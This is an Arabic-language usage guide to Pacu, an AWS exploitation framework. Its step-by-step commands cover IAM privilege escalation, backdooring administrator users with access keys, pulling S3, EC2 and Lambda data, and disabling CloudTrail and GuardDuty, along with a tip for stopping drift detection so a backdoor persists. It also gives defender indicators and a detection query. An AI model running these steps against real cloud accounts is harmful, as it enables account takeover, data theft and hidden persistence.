اعرف اللي قصادك. احمي أرضك.

Pacu

إطار عمل هجومي شامل لبيئات AWS، يسهل عمليات الاستطلاع وتصعيد الصلاحيات وتحقيق الاستمرارية (Persistence) داخل السحابة.

هجوممفتوحة المصدرLinuxmacOS
github.com/RhinoSecurityLabs/pacu

Pacu — الدليل الكامل

تُعد أداة Pacu إطار عمل متخصصاً في استغلال ثغرات بيئات AWS. ويمكن وصفها بأنها "Metasploit" المخصصة لمنصة AWS، حيث توفر وحدات نمطية (Modules) لاستطلاع الهويات والصلاحيات (IAM Enumeration)، وتصعيد الصلاحيات (Privilege Escalation)، وضمان البقاء (Persistence)، والتحرك الجانبي (Lateral Movement)، واستخراج البيانات. تتولى شركة Rhino Security Labs صيانة هذا المشروع بشكل أساسي.

التثبيت (Install)

$ pipx install pacu
$ pacu

أو عبر Docker: docker run --rm -it rhinosecuritylabs/pacu.

الجلسات والمفاتيح (Sessions / Keys)

Pacu > set_keys
> Key alias: target-prod
> Access key ID: AKIA...
> Secret access key: ...
> Session token (optional): 

تستمر الجلسات بين فترات التشغيل. يمكنك عرض الجلسات عبر list_sessions والتبديل بينها عبر swap_session <id>.

الوحدات النمطية (Modules)

الوحدةالغرض
iam__enum_permissionsما هي الصلاحيات المتاحة لهذا المفتاح؟
iam__enum_users_roles_policies_groupsجرد كامل للهويات في الحساب
iam__privesc_scanمحاولة حوالي 30 مساراً موثقاً لتصعيد الصلاحيات
iam__backdoor_users_keysإضافة مفتاح وصول لمستخدمين حقيقيين (كباب خلفي)
iam__backdoor_users_passwordإعادة تعيين ملفات تعريف الدخول
iam__backdoor_assume_roleإضافة نفسك لسياسات AssumeRole
s3__bucket_finderاكتشاف واختبار أذونات حاويات S3
s3__download_bucketمزامنة محتويات الحاويات محلياً
ec2__enumجرد كامل لـ EC2 و AMIs واللقطات والشبكات
ec2__startup_shell_scriptاستبدال UserData لحقن كود برمجي عند الإقلاع القادم
ec2__download_userdataسحب بيانات UserData (غالباً ما تحتوي على أسرار)
lambda__downloadتحميل الكود البرمجي لوظائف Lambda
lambda__backdoor_new_roleإنشاء وظيفة Lambda كباب خلفي
cloudtrail__download_event_historyسحب سجلات الأحداث قبل تعطيلها
cloudtrail__csv_injectionحقن حمولات CSV في سجلات الأحداث
detection__disruptionتعطيل GuardDuty / CloudTrail / Config (عملية صاخبة!)
vpc__enumجرد شبكات الـ VPC ومجموعات الأمان
cognito__enumاستطلاع أحواض مستخدمي Cognito (ناقل تسريب شائع)

يمكنك عرض كافة الوحدات (أكثر من 50 وحدة) عبر list modules والبحث باستخدام search <keyword>.

سير العمل (Workflow)

1. الاستطلاع (Enumerate)

Pacu > run iam__enum_permissions
Pacu > run iam__enum_users_roles_policies_groups

يتم تخزين النتائج في قاعدة بيانات الجلسة؛ استكشفها عبر data IAM أو data EC2.

2. فحص تصعيد الصلاحيات (Privesc Scan)

Pacu > run iam__privesc_scan

المخرجات: قائمة بمسارات تصعيد الصلاحيات الممكنة. تأكد قبل التنفيذ:

Pacu > run iam__privesc_scan --offline   # تخطيط فقط (بدون تنفيذ)
Pacu > run iam__privesc_scan             # محاولة التنفيذ الفعلي

3. استغلال خدمات محددة

Pacu > run s3__bucket_finder
Pacu > run ec2__download_userdata
Pacu > run lambda__download
Pacu > run cognito__enum

4. ضمان البقاء (Persistence)

Pacu > run iam__backdoor_users_keys --usernames admin1,admin2

تضيف هذه الخطوة مفتاح وصول (تتحكم به أنت) لهؤلاء المستخدمين، مما يضمن الوصول حتى بعد تغيير كلمات المرور.

5. التغطية (عملية صاخبة — تتطلب إذناً صريحاً)

Pacu > run detection__disruption

تقوم بتعطيل GuardDuty وإيقاف CloudTrail. تولد هذه العملية نداءات API مثل StopLogging وهي واضحة جداً لمن يراقب حساب الإدارة.

تحليل المخرجات (Output)

running module iam__privesc_scan...
[+] Confirmed Permissions: iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion
[+] Privilege Escalation Vector: CreateNewPolicyVersion → ATTACK PATH
[+] Updating attached policy 'AdminLite' with admin permissions...
[+] You are now effective administrator. Re-run iam__enum_permissions to verify.

استكشاف الأخطاء وإصلاحها (Troubleshooting)

العرضالسبب المحتملالحل
AccessDenied: not authorized to perform sts:GetCallerIdentityمفاتيح خاطئةأعد ضبط المفاتيح؛ تحقق من المنطقة (Region)
فشل الوحدة في منطقة واحدةنقص في ضبط المناطقاستخدم set_regions us-east-1 ...
بطء iam__privesc_scanتحاول تجربة كل المسارات تسلسلياًاستخدم --offline أولاً للتخطيط
فشل مستمر في وضع الباب الخلفيتفعيل CloudFormation drift detectionقم بإيقاف فحص الانحراف لفترة قصيرة

منظور المدافع (Defender's Perspective)

تولد أداة Pacu ضجيجاً هائلاً في سجلات CloudTrail:

  • وحدة iam__enum_permissions تحاكي نداءات IAMSimulatePrincipalPolicy — وهو نمط مميز جداً.
  • أحداث *PolicyVersion نادرة في الحسابات المستقرة ← يجب اعتبارها حرجة.
  • استدعاء عدد كبير من الـ APIs في ثوانٍ معدودة من مستخدم واحد هو مؤشر اختراق واضح.
  • عمليات StopLogging / DeleteTrail / UpdateGuardDutyDetector(Enable=false) يجب أن تطلق إنذاراً فورياً (ALARM).

مثال لاستعلام (CloudWatch / Athena) لرصد هذا النشاط:

sql
SELECT eventName, COUNT(*) FROM cloudtrail
WHERE userIdentity.arn = 'arn:aws:iam::123:user/dev-bot'
  AND eventTime > now() - interval '1' hour
GROUP BY eventName HAVING COUNT(*) > 50;

أمن العمليات (OPSEC)

  • وسم كل فعل (Tagging) باسم جلسة واضح في CloudTrail؛ يساعد ذلك في عملية التنظيف بعد انتهاء المهمة.
  • قم بتعطيل الوحدات الصاخبة في المناطق (--regions) التي لا تحتاج لاستطلاعها.
  • لا تقم بتشغيل detection__disruption في المهام الرسمية دون إذن كتابي صريح بتعطيل الأدوات الأمنية.

أدوات ذات صلة

الأداةالتخصص
CloudFoxاستطلاع سلبي (Passive) سريع، بدون استغلال
Prowlerتدقيق الوضع الأمني للمدافعين
ScoutSuiteتقارير HTML أمنية للمدافعين
leonidas / stratus-red-teamمكتبة محاكاة الهجمات في السحابة
enumerate-iamأداة خفيفة لاستطلاع صلاحيات IAM
aws-vaultتخزين آمن لمفاتيح الوصول للمشغلين